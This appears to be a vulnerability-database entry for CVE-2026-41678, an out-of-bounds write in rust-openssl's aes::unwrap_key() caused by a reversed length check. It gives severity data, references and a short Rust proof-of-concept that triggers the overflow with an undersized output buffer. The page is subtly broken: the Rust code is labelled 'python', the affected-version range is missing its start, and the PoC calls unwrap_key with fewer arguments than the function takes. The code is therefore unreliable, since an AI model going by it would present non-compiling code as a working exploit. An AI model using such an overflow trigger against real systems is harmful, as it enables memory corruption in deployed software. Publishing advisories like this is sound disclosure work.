CVE-2026-41678

Description

rust-openssl provides OpenSSL bindings for the Rust programming language. From to before 0.10.78, aes::unwrap_key() contains an incorrect assertion: it checks that out.len() + 8 <= in_.len(), but this condition is reversed. The intended invariant is out.len() >= in_.len() - 8, ensuring the output buffer is large enough. Because of the inverted check, the function only accepts buffers at or below the minimum required size and rejects larger ones. If a smaller buffer is provided the function will write past the end of out by in_.len() - 8 - out.len() bytes, causing an out-of-bounds write from a safe public function. This vulnerability is fixed in 0.10.78.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rust-openssl_project:rust-openssl:*:*:*:*:*:rust:*:* - VULNERABLE

rust-openssl < 0.10.78

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

use openssl::aes;

fn main() {
    // PoC for CVE-2026-41678
    // Triggering the out-of-bounds write in aes::unwrap_key

    // Input buffer (simulated wrapped key)
    // Length must be > 8 to trigger the calculation in_.len() - 8
    let wrapped_key = vec![0u8; 32];

    // Output buffer that is intentionally too small
    // Required: out.len() >= in_.len() - 8  => 32 - 8 = 24
    // Provided: 10 bytes
    let mut unwrapped_key = vec![0u8; 10];

    // This call should trigger the out-of-bounds write
    // because the check (out.len() + 8 <= in_.len()) passes (10 + 8 <= 32),
    // but the buffer is actually too small.
    match aes::unwrap_key(&mut unwrapped_key, &wrapped_key) {
        Ok(_) => println!("Unwrapped successfully (unexpected)"),
        Err(e) => println!("Error occurred: {:?}", e),
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41678
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41678
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41678/
[4] VulDB https://vuldb.com/cve/CVE-2026-41678
[5] https://github.com/rust-openssl/rust-openssl/security/advisories/GHSA-8c75-8mhr-p7r9

Raw JSON Data

JSON

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